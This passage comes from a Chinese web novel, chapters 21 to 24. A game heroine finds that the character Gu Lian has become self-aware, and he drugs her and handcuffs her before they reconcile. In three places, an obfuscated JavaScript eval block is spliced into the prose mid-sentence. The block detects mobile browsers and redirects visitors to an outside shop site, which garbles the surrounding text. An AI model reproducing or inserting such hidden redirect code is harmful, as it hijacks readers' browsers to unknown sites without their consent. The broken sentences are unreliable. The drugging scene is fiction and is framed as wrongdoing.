见人回来，孟烨目光狐疑：“你和他说了什么。” 那男人临走前看他的眼神怪怪的。 黎春日耸耸肩膀，神色无辜：“什么也没说啊。” “快来帮忙”，她艰难扶起顾敛，招呼一旁的人来搭把手。 怎么感觉在转移话题，孟烨盯着她看了几秒，抬手架起顾敛的胳膊。 回到酒店，孟烨先行离开。 黎春日坐在床边，视线为笔，细细描绘顾敛的五官眉眼。 天光大亮，掌心一空。她朦胧睁眼，就见顾敛侧头看向窗外。 “你终于醒了”，黎春日双眼发亮，伸手去抓他的胳膊。 顾敛躲开她的触碰，头也不转，专注盯着窗外的世界。 21. 第 21 章 睁开眼，顾敛望着虚空，一动不动。对于环境的变化，被咬后的经历，他没有一点求知的欲望。 左手背上，热气丝丝缕缕地袭来，他缓缓垂眸。 黎春日趴在床边，抓着他的手臂。眉心紧皱，仿佛连睡梦中都在为他担忧。 注视那几道竖痕良久，他缓慢而坚定地抽出手臂，假的。 转头看向窗外，阳光明媚。他盯着炎炎红日，直到眼皮不受控制地闭合，一滴生理性泪水没入发间。 全部都是假的。 如果说被咬后有什么收获，那就是，他清晰地意识到一个事实。 世界，还有他的人生，不过是一场盛大的骗局。 抬手躲开黎春日名为关心的触碰，余光中，是她失落的神色。 顾敛不想解释，空洞的眼神移向窗外。世界美好又灿烂，可他只觉得可悲又可笑。 手下一空，黎春日无措不解地看着他。 而顾敛什么都没说，什么也没做，安静到仿佛一座没有灵魂的雕塑。 指尖缓缓蜷缩，她轻声问道：“你感觉怎么样，身体还有没有不舒服。” 瞳孔微动，视线两相接触。她眼中的专注，担忧一览无余。 顾敛定定看她几秒，缓缓闭上眼睛，声音低不可闻：“骗子。” “什么？”，黎春日俯身凑近。 翻个身，姿势变成侧躺，顾敛背对床边的人：“没事，我累了，想再睡会儿。” “好、好”，明白他在变相地赶人，黎春日舔舔干涩的嘴唇，内心除了茫然还是茫然。 房门渐渐闭合，床上的人仍旧背对着她，不做任何反应。 咔哒一声，房门关闭。 木板隔开两人之间的距离，正如顾敛侧躺背对的身影。像是一道高墙，将黎春日推拒在外。 可能是血清带来的后遗症吧。 仰头靠在门上，修剪圆润的指甲一次次划过指腹，黎春日想到了安慰自己的理由。 没错，肯定是这样。不然好好的，顾敛为什么就像突然变了一个人一样。 越想越觉得事实就是如此，她点开客服页面，想要为这个猜测的真实性增加砝码。 晃动的手腕一闪而过，停下打字动作。她缓缓看向右手腕，上面空空如也。 原来那个小小的，已经亮起四格金色流沙的长剑，已然无影无踪。皮肤白皙干净，仿佛长剑从未出现过一样。 心脏重重一悸，她揉揉眼，再用力磨搓手腕。除了泛红的皮肤，其余没有任何变化。 守护值为什么会突然消失，那好感度…… 她匆忙拉开衣袖，左手腕上，同样干净空荡，只有几根纤细交错的血管。 一时间，黎春日心慌意乱。她找到末日商城，图标由黑色转为灰色，表明它处于无法使用的状态。 她不死心，接连点击好几下，屏幕中间不断弹出提醒方框。 “抱歉，末日商城暂处于锁定状态。请玩家努力攻略，当系统检测到好感度波动时，商城将会自动开启。” 靠着门板滑坐在地，黎春日呼吸急促。交叠的双手用力攥紧，指节微微泛白。 错了，全都错了。 提前结束的夜晚，顾敛冷漠的态度，消失的好感度和守护值…… 一切都乱套了，她该怎么办。 客服，对，还有客服，它一定知道原因。 犹如溺水之人抓住最后一根救命稻草，她连忙点开客服页面。 打字时，手指控制不住地颤抖。明明是使用多次的键盘，但她的动作竟有些僵硬停滞。 信息发送成功，她不自觉地啃咬指甲，静候客服回应。 然而，等待的过程度日如年，黎春日头一次觉得时间如此难捱。 五秒，一分钟，总是秒回的客服久久没有动静。 泪水瞬间浸湿眼眶，她紧咬唇瓣。缓缓蜷缩起身体，埋首于双膝之间。 当所有的坏事一起出现，不论多么强大的人，都无法淡然承受一波接一波的冲击。 安静的房间内，一道低声抽泣无意泄露。 抬手死死捂住嘴唇，黎春日吞下喉间的哽咽，将脆弱和无助深深埋在心底。 时间一分一秒地转动，地上的人慢慢抬头，彰显这场情绪发泄来到尾声。 后仰靠在门板上，她双眼红肿。一滴水珠挂在睫毛上，摇摇欲坠。 闭上眼，这滴承载了恐慌，崩溃等负面情绪的泪水慢慢坠落。再睁眼时，她的眸中只剩一往无前的坚定之色。 没关系黎春日，不要害怕，没有什么东西是无法战胜的。 嘴唇张张合合，她攥紧衣料，无声给予自己力量。 回到房间，黎春日仰面摊在床上。明亮的吊灯晃神刺眼，她闭上眼睛。 由于情绪频繁波动起伏，不知不觉间，她的意识模糊沉沦。 这是哪？ 她茫然四顾，周围皆是流动的黑雾，挥之不散。 画面一转，孟烨，顾敛，楚朗的身影依次出现。近在咫尺，触手可得。 抬脚向他们跑去，黎春日奋力狂奔。 可几米的距离犹如天堑，不论她怎么努力，皆是徒劳。 忽然，天空中出现一只干枯，沾满血污的大手。五指成爪，缓缓收拢。 一团黑雾凭空出现，膨胀扩大，将顾敛三人牢牢裹挟其中。 涌动的黑雾分裂出无数细小黑线，嘴巴，耳朵，无孔不入。它们钻进体内，开启一场汲取生命的狂欢。 三人面色瞬间惨白，表情痛苦，却逃不出黑雾的掌控。 随着时间推移，三人显眼的皮肤上冒出如蜘蛛网般的黑色纹路。 干裂，脱落，皮肉一块块掉在地上，却不见鲜血流出。 画面惊悚骇人，黎春日想要阻止，但一道无形的屏障将她隔离在外。 砰砰砰，她用力拍打，绝望的泪水划过脸庞。却只能无力地，眼睁睁看着他们走向死亡。 这时，虚空中响起游戏欢快的提示声。 “叮咚，经过玩家不懈努力，已成功完成所有任务。回归现实的传送现已开启，请玩家系好安全带哦。” 面前，死亡进程还在继续。 此时三人只剩下半边身体，脸上满是痛苦挣扎。如果只看骨架那边，分外可怖。 黎春日泪眼婆娑，指甲不断扣弄屏障，想要拯救三人免受苦难。 身后忽然传来一阵巨大的吸力，发丝飞扬飘舞，她紧紧抱住面前的屏障。 不能走，如果她离开了，就没人能救顾敛他们了。 然而她的力量犹如螳臂当车，无济于事。指尖一点点脱离屏障，黎春日撕心裂肺的声音回荡在虚空之中。 “不要。” 顾敛大喊一声，逆着人流，想要抓住那道长发及腰的温婉背影。 ‘不，不要去。前面有凶手，你会死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023406|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。’ 背影继续向前，焦躁，不安的情绪爬上他的眼底。 ‘你回来，我不要冰欺凌了。’ 距离近在咫尺，却始终触碰不到，顾敛眼中带上隐隐的乞求。 ‘是我错了，我不该因为别人的挑衅而胡乱提要求，你回来好不好。’ 坚持不懈下，距离终于有所缩短，他心中一喜。 ‘我终于抓住你了，妈妈。’ 然而，掌心穿过身体，他只抓住满手的孤寂。 汹涌人群犹如镜片，骤然破碎。世界重归黑暗，而那道温婉的背影越走越远。 顾敛怔怔望着，出神良久，忽而自嘲一笑。 都是假的，他这么在意做什么。 被丧尸咬后，病毒侵入大脑，腐蚀溶解了他对于这个世界的虚假认知。 时至今日，他才意识到。自己只是一款乙女游戏中，任人挑选的角色，仅此而已。 他的人生，他的经历，全部都是精心设定好的程序。 就连自责困扰他多年的这个游乐园，也不过是方便攻略者治愈温暖他的剧情。 多么可笑啊，哈，顾敛笑弯了腰。 啪嗒，一滴眼泪落在地上。视线渐渐模糊，他双手紧握，额头青筋凸显。 可凭什么。 他生活了二十八年的世界，从小到大，有哭有笑的经历。凭什么用一句程序设定，就能全盘否定。 他不甘心。 不甘心他只是个纸片人，不甘心在面对破坏他家园的丧尸时，只能束手无策。 不甘心黎春日……，只是个攻略他的玩家。 起伏的心绪缓缓归于平静，顾敛抬眸。目光幽暗，瞳孔深处藏着令人心惊的执拗。 咚的一声，直到掉下床，黎春日还在胡乱扑腾。 睁开眼，环顾四周，她心有余悸地拍拍胸口。 原来是梦啊，察觉语气不太对劲，她连忙改口，还好是梦啊。 抹去额头的冷汗，她捞起手机一看，时间才过去一个多小时。 黎春日忍不住点开游戏，想看看客服回复了没有。 终于，看着聊天页面下方的白色方框，她热泪盈眶。与之前不同，这次是喜悦的眼泪。 “亲亲，由于游戏的失误导致出现重大BUG。现做出如下补偿，玩家可重新选择攻略人物。” 阅读完毕，欣喜褪去，黎春日眉心皱得能夹死一只苍蝇。 好一招糊弄大法，对于她提出的问题，没有丁点解释，全用一句BUG给堵了回去。 还有最后那句重新选择攻略人物，她都懒得吐槽。 之前她想换客服不让换。现在她不想换了，客服反倒让她换。 对此，黎春日给出三个字，想得美。 她捋捋袖子，潇洒地敲下一行字：我选1号，顾敛。 “亲亲，攻略人物不可重复选择哦。” 得到充分休息的大脑反应极快，黎春日瞬间意识到不对劲：“你在逼我选其他人，为什么？” “亲亲，没有逼迫哦，只是游戏规则如此。” 目光狐疑，黎春日显然不相信这个说辞：“你都说是补偿了，我为什么不能重复选择？” “亲亲，如果选不出来可以保留机会，本次补偿一直有效哦。” 对于客服的回避型答案，黎春日确定以及肯定，游戏就是不想让她选顾敛。 可是，为什么？ 22. 第 22 章 明白客服不会告知问题的答案，黎春日打算自己探索，挖掘，直到找出真相。 至于现在，她撇撇嘴。放着就放着呗，看谁能熬过谁。 随后，她想到了顾敛之前的异常行为：“服用血清后会有副作用吗？” “亲亲，没有哦。本商城出品的东西干净无添加，质量有保证。” 那就奇了怪了，顾敛到底怎么了。 黎春日想破脑袋也没想出来原因，索性现在睡不着，她打算再去看看顾敛的情况。 轻轻压下门把手，缝隙一点点扩大，最终停在一个指节的宽度。 门缝中，忽然冒出一只大而圆的眼睛，这正是悄摸往里张望的黎春日。 从背后看，偷感极重。 她来回转动眼珠，但过窄的宽度，刁钻的角度，导致她只能看见顾敛几根头发丝。 内心轻啧一声，她抿着嘴唇，小心翼翼地往里推门。 视野慢慢变得宽阔，额角，剑眉，还有那双深邃的黑瞳。 偷窥被当场抓包，黎春日下意识露出讨好的笑容。 见顾敛没说话，她摸摸鼻子，尴尬地走进房间：“我是想来看看你，但又害怕你还没睡醒，所以才……” “没关系”，顾敛起身朝卫生间走去：“下次你可以直接进来。” 推门的动作一顿，他转过身，唇角微微勾起：“对了，我饿了，你要一起吃早餐吗？” 阳光斜斜打在他的身上，眼眸光芒汇聚，醉人心神。 眼中闪过一丝惊艳，黎春日回答地结结巴巴：“吃、吃吃吧。” 背影消失在门后，她拍拍脸颊，转身回房洗漱。 嘴里慢慢冒出泡沫，黎春日不太理解。 顾敛之前还一副厌世的模样，怎么睡醒之后，态度转变这么大。 搞不懂，她唏嘘摇头。男人心，真是猜不透。 不过，她指着镜子中的倒影，内心暗自告诫。 黎春日，理智点，不要一看见他笑就走不动路。 洗漱结束，刚好赶上顾敛在叫客房服务。他捂住听筒，侧头轻问：“想吃什么。” 一抬头，就沉溺于他温柔的眉眼之中，黎春日晕晕乎乎：“都，都行。” 闻言，顾敛展颜一笑：“有什么想吃，或特别喜欢的食物吗？” 大脑被迷成一团浆糊，黎春日听见喜欢两个字，下意识回答：“你。” 怔愣一瞬，顾敛嘴角笑容扩大：“好，我知道了。” 反应过来都说了些什么后，黎春日脚趾动工，想要钻进地下躲躲。 她自制力这么差的吗？只是一个笑而已，居然都能被迷得五迷三道。 黎春日缓缓眯眼，这不对劲。她虽然喜欢顾敛，但还不至于看见他笑就走不动路。 除非，顾敛在刻意勾引。可为什么？平常的他可不会这样做。 想不明白，她果断移开视线。就连吃饭的时候，她都低着头，避免再被蛊惑。 叮铃铃。 手机突然响起，黎春日随意瞅了一眼，按下接听键。 “黎小姐，你今天有时间吗？”，孟烨温和的声音从听筒中传来。 “有事？”，他的回答决定了黎春日的回答。 “是这样的，我发现了一些和丧尸有关的信息，如果你有空的话……” 孟烨话还没说完，就被黎春日一口打断：“有空。” 事关丧尸，就算没空她也要挤出时间变成有空。 餐厅恢复安静，顾敛看了眼加快干饭速度的黎春日，状似不经意地问道：“你要出门？和谁啊。” 咽下最后一口粥，黎春日擦擦嘴角：“孟烨约我聊丧尸的事。” 手中动作一顿，顾敛轻皱眉头，又很快恢复正常：“只有你们两个吗？” “对”，其实黎春日也不太理解，为什么孟烨只喊她，不喊顾敛。 而且满打满算，他俩也就见过一两次，单独见面肯定挺尴尬的。 想到这，她看向顾敛：“要不，你和我一起去吧。” 漫不经心搅动早已凉透的白粥，顾敛眼帘半垂，遮住幽深的目光：“他只邀请你，我去干嘛。” “啧，也是”，黎春日支着下巴思考。实在不行，等孟烨说完丧尸的事，她就找借口溜号。 打定主意后，她收拾收拾出门了。 餐桌旁只剩顾敛一人，他看着凉透的食物，眼神冷若寒霜。 为什么要和孟烨出去，只看着他一个人不好吗？ 达到约定地点，黎春日一下子就在人群中找到了孟烨。 无他，气质出众。 两人找了一个咖啡馆，推门的时候，黎春日动作一顿，狐疑的目光看向身后。 “怎么了？”，孟烨停下脚，顺着她的视线向后看。 熙熙攘攘的街道上，行人神色匆匆，奔赴着各自的生活。 没有发现形迹可疑的人员，黎春日晃晃脑袋，应该是她想多了。毕竟，总不会有人傻到选择白天跟踪吧。 “没事，走吧。” 清脆的风铃声响起，两人进入咖啡厅。 不远处，街道拐角，高大的身影缓缓出现。他一身低调的黑色运动服，头顶的鸭舌帽隐去大半面容，棱角分明的下颚线一闪而过。 点好单，等待期间，黎春日迫不及待地问道：“关于丧尸，你都知道些什么？” 相较之下，孟烨双手交叉置于腿上，姿态悠闲：“回去后，我仔细复盘了遇袭事件的经过。” “当时一切发生得太过突然，让人措手不及，导致我们忽视了一个问题。那就是，为什么我们随机挑选的废墟，后面恰好藏着一只丧尸？” 听完他说的内容，黎春日皱了皱眉。 确实很奇怪，丧尸再怎么进化，也达不到精准预判他们行动的地步，除非…… 见她反应过来，孟烨才继续往下说：“你想一想，为什么丧尸能一直跟着我们，那是因为它们掌握了我们的坐标。” “而为什么丧尸总抓不到我们，那是因为气味阻隔剂。所以当时，丧尸才会一直追着我们跑，却抓不到我们的身影。” “那么，现在最关键的问题是，丧尸为什么能掌握我们的坐标。” “再直白一点”，孟烨抬眼，直直盯着黎春日的眼睛：“这是不是说明，我们之中有内鬼。” 他的声音越来越低，最后两个字无声消散于空中。 揉揉阵痛的额头，黎春日觉得大脑被割裂成了两半。 一方面，在她认知之中，丧尸只是背景设定。但凡正常且合理的乙女游戏，都不会设定得如此复杂，还让攻略人物和丧尸内鬼扯上关系。 另一方面，孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035961|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烨分析的问题确实存在。而且已经明显到，不能用丧尸进化这样的借口糊弄过去了。 可孟烨的分析一旦成立，就意味着，她从未真正了解这个过游戏的本质所在。 脑海中，两种思绪不断拉扯，迟迟分不出胜负。 呼出一口浊气，黎春日果断放弃思考，打算等之后获得更多信息再说。目前最重要的，是先解决孟烨提出的问题。 望过来的眼神犀利探究，她坦然对视，眉头轻挑：“所以你觉得，是顾敛。原因？” “理由如下”，孟烨双腿交叠，手指轻轻摩挲，不急不缓地展开叙述：“他救你时，速度太快了。” “当时，丧尸离你的脖子只有一掌距离，而顾敛和我都在一米开外。但他居然能比丧尸还快，及时替你挡下攻击，不觉得很神奇吗。” “困境中最容易爆发潜力”，黎春日耸耸肩：“而且，照这个理论，我觉得你力气太大也是个问题。” “很合理的怀疑”，孟烨微微一笑：“不过，以上皆是我的猜测，事实就交给时间去检验吧。” 话落，他抬起手，遥相举杯致意。 “我也这么认为”，黎春日面带微笑，举杯回致。 两人不尴不尬地喝着咖啡，然而这一幕，落在一直注意着这边的高大黑影眼中，便是他们相谈甚欢的氛围。 特别是最后两人相视一笑的画面，深深刺痛高大黑影的内心。 他缓缓攥紧手指，咚，水泥墙壁发出沉闷的声响。他咬紧牙关，呼吸声粗重而急促。 骗子，嘴里说着喜欢他，可转眼就能和别人笑得那么开心。 细小的石粒嵌入皮肤，嫉妒啃噬心脏。疼痛两相叠加，他手中力道骤然一松，墙壁上印着几个模糊的血痕。 喜欢孟烨那样的性格吗？高大黑影嘴角勾起意味不明的微笑。瞳孔暗如黑墨，阴郁之色挥之不去。 真是可惜，他恰恰最讨厌那副虚伪的嘴脸。 重重一压帽檐，遮住眼中的疯狂。高大黑影双手插兜，转身离去，慢慢消失在汹涌人群之中。 黎春日若有所感，下意识望向窗外。轻风吹拂，街道拐角处空无一人。 回到酒店，刷卡进门时，恰好遇见同样外出回来的顾敛。 递过一杯温水，他主动挑起话题：“你和孟烨聊得怎么样。” “还行吧”，黎春日喝不下，但也不想推拒他的好意。只好端在手里，时不时地抿一口。 顾敛轻轻摇晃着手中的玻璃杯，眼皮微垂，让人看不出情绪：“你觉得孟烨这个人怎么样。” 眼皮逐渐耷拉，黎春日努力打起精神：“温柔，体贴”，聪明，分析能力强。以及，眼神挺好。 她描述了孟烨对外展现的特质，并在内心默默补充完整个人看法。 “果然如此”，顾敛轻声低喃，抬手将杯底的温水一饮而尽。 咚，杯底碰撞桌面，黎春日猛地惊醒，她刚刚是睡着了吗？ 大脑昏昏沉沉，她掐着眉心，努力保持意识清醒。身体状况明显不对劲，她看向水杯，荒唐的猜想缓缓浮现。 震惊回头，顾敛站在阴影处，垂眸盯着地板，没有反应。 “为……” 话还没说完，黎春日就倒在桌子上。茶杯掉落在地，水液尽洒。它咕噜噜地向前滚，最终停在顾敛脚边。 23. 第 23 章 酒店房间内，遮光窗帘勤勤恳恳地发挥作用，屋内漆黑一片。 顾敛坐在椅子上，目不转睛地盯着床上的人。黑暗中，看不清他的表情。 黎春日双手交叠于身前，呼吸平缓，睡颜恬静。 深色被单上，银色光圈明亮夺目。它一半圈在纤细的手腕上，另外一半自然垂落，尾端处坠着长长的链子。一直延伸到床头位置。 想要的结果已然达成，顾敛面上却看不出兴奋之色。 他关住了黎春日，之后呢，他要怎么做？ 不，准确来说，是跳出游戏设定之外的顾敛会怎么做？ 不知道。 额角抽痛，顾敛双手插入发间，眼中迷茫一闪而过。 难道，他做错了吗？ 不，他没错。 迷茫褪去，他的眼神变得坚定，表情也回归冷漠。 跳出游戏的设定，他根本不会是什么好人。 没错，这才是他，真正的顾敛。 旁边传来细微的动静，他侧头望去。黎春日睡得并不安稳，眉心紧拧，仿佛梦见了让她害怕困惑的事情。 顾敛猛然惊醒，他到底在干什么，他为什么会变成这样。 这，真的是他原本的模样吗？ 挺拔的肩背慢慢凹陷下去，手肘撑在膝盖。顾敛垂下头，黑发交错盖住眉眼，他浑身上下都散发着颓废的气息。 时间一分一秒地转动，良久，他轻声低喃。似在陈述事实，又像是对命运的妥协。 “我不过是个NPC罢了。” 自嘲一笑，顾敛轻轻关上门，离开被黑暗笼罩的房间，从而忽视了床上那人不正常颤动的睫毛。 房门闭合，房间内除了呼吸声再无其他。 黎春日缓缓睁开眼，内心因为顾敛离开前的话，掀起惊涛巨浪。 他这句话是什么意思，什么叫他不过是个NPC罢了。 难道说，黎春日睁大双眼，不可置信地看向门口，顾敛知道了自己是游戏中的人物？ 不不，准确一点，难道说顾敛觉醒了自我意识？ 什么时候？他是怎么发现的？ 问题一个接着一个，黎春日深吸口气。压下急躁的情绪，冷静思考导致顾敛觉醒的原因。 他最早的异常可以追溯到被丧尸咬后，所以，是因为丧尸病毒！ 乱糟糟的毛线团找到开头，黎春日倏然睁眼。如果顺着这个思路去想，所有不合理的地方都能解释得通了。 躲开的触碰，刻意表演的微笑，还有那杯掺了迷药的温水。 而这些还只是浅显的个人层面，再往深处想。 突然消失的好感度和守护值，客服提供重新选择攻略人物的机会，以及拒绝她重复选人的操作…… 一切的一切都在指向一个事实，顾敛觉醒出了自我意识。 线索其实很清晰，但恰恰黎春日当局者迷。 抬起手臂盖在脸上，清脆的声音随着她的动作响起。 看着手腕上的银环，她内心一片空白。不知作何反应，只能怔怔地望着出神。 如果说顾敛能觉醒自我意识，那是不是意味着，孟烨所分析的内鬼论，也有很大概率是真的。 并不是说顾敛是内鬼，而是对于内鬼的猜测，很有可能是成立的。 继续假设，如果内鬼是真的，那是不是说明，乙女攻略和丧尸生存本质上是对立的。 也就是说，两者是互为敌对的关系。 这就能很好解释，为什么会有攻略任务和生存任务。为什么一到晚上，所有的人都会变成丧尸。为什么丧尸总是喜欢追着攻略人物跑，以及为什么，顾敛会因为被咬而觉醒自我意识。 在她的认知之中，只有外来入侵物种才会对本土物种造成威胁，从而带来改变。 那么，乙女游戏就是本土物种，丧尸病毒就是那个外来入侵物种。 黎春日吐出一口浊气，杂乱的思绪找到源头，大脑前所未有的清晰。 一直以来，她安逸于任务的表象，却从未想过主动追溯任务背后的原因。 生存，组队，保护队友。 每一个任务，都是游戏在保护主线攻略人物的证明。并以此，保护它自己不被彻底侵蚀。 但任务需要人完成，因此，为了确保过程顺利，游戏选中黎春日成为这个计划的执行人。 回忆最初进入游戏的细节，当时画面亮了一秒，又很快暗下去。再亮起时，就已经是这款游戏的画面了。 所以，她最开始登入的，就是她期待已久的乙女游戏。只不过还没开始玩，就被这个快要崩坏的乙女游戏劫胡了。 抬手掐掐眉心，哗啦啦的动静随之响起。黎春日的头顿时更疼了，无奈，她只好换一只手揉捏眉心。 落到今天这个结局，都是这该死的游戏造成的。她越想越气，抬手就给客服发送一句国粹。 “亲亲，文明做人哦^_^。” 文明你大爷。 八分的怒气涨到十分，黎春日手心痒痒。恰好门外传来动静，她眼珠一转，果断躺平装睡，静等出气筒主动送上门来。 端着托盘进门，床上的人还处于睡眠状态，顾敛不解地眨眨眼。 看时间也该醒了啊，总不会是他药量没控制好，导致人出什么事了吧。 他神色一慌，连忙放好托盘，跪在床边，去摸黎春日的额头。 然而手刚探过去，床上的人骤然睁眼。心脏重重一缩，他下意识避开那双怒气冲冲的眼睛。 黎春日冷笑一声，手上用力，拽着他往下拉。 她翻身坐在顾敛腰间，阻止他挣扎逃跑。接着二话不说，拿起枕头，砰砰往下砸。 “敢给我下药，你可真是出息了啊。” 枕头再软也具有一定的杀伤力，顾敛被打得睁不开眼。他来回躲闪，双手挡在脸前：“你听我解释。” 本来累得气喘吁吁，正在中场休息的黎春日一听这话，抄起枕头，继续哐哐往下砸。 “解释？你想怎么解释。不就是纸片人觉醒嘛，有什么了不起的。” 在推理出游戏的本质后，相较于丧尸入侵的生存危机，顾敛觉醒这件事，在黎春日眼里压根儿不值一提。 身下挨打的顾敛顿时哽住：“你早就醒了。” “你管我什么时候醒的。” 黎春日狠狠一砸，用力过猛，枕头直接脱手。以顾敛的脸为跳板，掉下床底。 见状，他反应极快，紧紧抱住另外的那个枕头，生怕黎春日再续一轮。 所幸她已经发泄完毕，瞥了一眼，没计较顾敛的小动作。 理理散乱的头发，衣服。最后她抬起手，伸至顾敛眼前：“解开。” 经过一番蹂躏，顾敛衣衫凌乱，气息微喘，早已不复当初稳重冷淡的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045261|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他靠在床头角落处，看一眼黎春日：“钥匙在外面。” 双眼微眯，黎春日的目光围着他打转，认真思考这句话的真实性。 随后，她语气中充满威胁：“去拿过来，还有，别想耍什么花招，给我安生点。” 顾敛抿抿唇，起身下床，身后声音再次响起：“听见没有。” 脚下一顿，他无奈点点头。 钥匙到手，黎春日解开手铐，转头套在顾敛手上。 她站在床边，双手环胸，居高临下地质问罪犯：“说吧，为什么要这么做。” 顾敛坐在床边，双腿并拢，姿态端正。想说他觉醒了自我意识，但发现黎春日已经知道这件事且并不在意。 他张张嘴，不知道说能些什么。 见黎春日等得不耐烦了，喉结上下滚动，声音低沉：“任何人都能是顾敛，可我不想当顾敛。” 这话颇绕，但黎春日听懂了，她比划出OK的手势。 咚，额头传来尖锐的疼痛，顾敛神色惊愕。只见黎春日收回手，没好气地说道：“矫情。” “而且，你找不到自我，绑我干嘛。” “这不是刚好撞上……”，额头又是一痛，他识趣地咽回剩下的话。 盯着面前的人看了几秒，黎春日重重叹一口气。抬手将他的黑发扒拉成鸡窝：“你就是顾敛，顾敛就是你。” “别一天天净想些没用的，世界都快被丧尸攻陷了，你还有空在这思考存在主义的问题呢。” “是纸片人又能怎么样，那游戏设定不就是几个形容词吗。你这么多年向外延伸，向内填充的人生，是用几个形容词就能概括的吗？” 她的语气和安慰相差十万八千里，可顾敛摇摇头，内心缓缓安定下来。 “那不就得了，因为这点破事，你居然纠结这么久。” 黎春日啧啧摇头，挑起银链子递到他眼前：“还绑人，你可真刑啊。” 这番话，话糙理不糙，顾敛醍醐灌顶。 之前是他太拧巴，一味想摆脱游戏的枷锁，以此来证明他是个有血有肉的人。 可实际上，游戏只描绘了顾敛的皮囊，血肉皆由他一笔一画，填充丰满。 抬眸望向黎春日，他神色真挚：“对不起。” 对不起，他不该用这种极端的，伤害别人的方法去证明自己。 黎春日抬手掐住他的脸颊，同时向两边扯，没关系三个字堙灭在悠长的钟声里。 铛铛。 时间不知不觉来到十二点，以钟声为界，恋爱和生存两相交替。 轰隆隆，脚下剧烈震动，黎春日大惊失色。 完了完了，只顾着聊天，都忘记提前下楼了，他们不会被高楼碎片压成肉泥吧。 身体骤然腾空下坠，黎春日紧紧抱着顾敛，内心哀嚎。 不要啊。 然而预想中的事情没有发生，她点点脚下坚硬的地面，悄摸睁开一只眼睛，发现两人完好无损的站在楼下。 长长舒一口气，黎春日满脸庆幸。 原来即使不在唯恋花园这个安全屋，他们也不会因为高楼坍塌而命丧黄泉。 “啧，啧”，感慨的声音自旁边传来。 两人缓缓扭头，正是提前赶来的孟烨。他摸摸下巴，眼神来回打转，表情微妙。 “你们，玩得挺花啊。” 顾敛，黎春日：“……” 24. 第 24 章 慎言，这话可不能瞎说哦。 黎春日连忙松开圈在顾敛腰间的手，以示两人清白的关系。 然而孟烨之所以这么说，是有依据的。 两人衣衫凌乱，气息微喘。尤其是圈在顾敛手上的银色手铐，拖着长长的尾巴，在黑夜中闪闪发光。 证据充足，黎春日无法反驳。 她偷偷拿起银链往顾敛身后藏，动作轻而慢。但哗啦啦的声音，怎么听怎么不正经。 一气之下，她放弃挣扎。捞起链子就往顾敛胳膊上缠，一圈又一圈，捆得结实又色气。 而顾敛放任她的动作，甚至配合地伸直胳膊，以便她更好地缠绕。 眉头轻挑，孟烨双手环胸的，一脸看好戏的表情。 黎春日侧头一记眼刀：“闭嘴。” 要不是刚刚突然下坠，导致钥匙脱手失踪，她也不想这样做。 他什么也没说啊，孟烨双手摊开，微微耸肩。 黎春日睁着死鱼眼瞪他，胡说，光这幅表情都表达了不少内容。 忽然，下巴被人掐住，不疼却带着些强势。 她撅着金鱼嘴，视线跟着力道回转，最终停在顾敛不爽的表情上：“看他干什么。” 大写的冤字扣在黎春日头顶，什么叫看，她明明是在瞪人。 而且，这种时候说这种话，他是嫌场面还不够乱吗？ 打掉捏住下巴的大手，她清清嗓子，果断转移话题：“你怎么在这？” 孟烨又不在这个酒店住，怎么钟声刚一响，就在楼下遇见他了。 “提前过来汇合”，他微微一笑，否则就要错过一出精彩的好戏了。 黎春日了然地点点头，哦字尾音消散，空气陷入沉默。 她看看这个，再看看那个，内心大喊救命。 他们俩为什么干瞪眼不说话，气氛也太尴尬了吧。 一个觉得对方是潜在情敌，一个觉得对方是潜在内鬼，总之两人各有各的打算。 夹在中间的黎春日弱弱发问：“你们，不是朋友吗？” 顾敛冷笑一声：“不熟。” 孟烨嘴角轻抬：“已经好几年没联系了。” 懂了，塑料兄弟。 黎春日点点头，挂上和两人如出一辙的礼貌微笑。 脸蛋逐渐僵硬发酸，她疯狂头脑风暴，想说些什么打破这令人窒息的氛围。 然而，想在末日之中达到这个目标，仅需一步。 前方响起嘶吼咆哮的声音，她双眼一亮，语气兴奋：“快跑吧，丧尸来了。” 说完，也不管两人有什么反应，转身逃离沉默的氛围。 今晚颇有些不同，丧尸追赶的速度很快。顾敛拐弯时随意一瞥，眉心渐渐皱起：“它们是在跑吗？” 闻言，黎春日眯眼仔细观察。 虽然姿势有些怪异，但丧尸的行进速度确实和跑步速度有得一拼。 脸色耷拉下来，她的心情不怎么美妙。 真该死，丧尸为什么又进化了。这么频繁，也不怕拔苗助长。 先是走路，快走，再到跑步。那接下来呢，冲刺世界冠军？给她留条活路吧。 这时，身后接连传来砰砰的声音，黎春日忍不住回头看。 好家伙，频繁进化的副作用这不就来了。 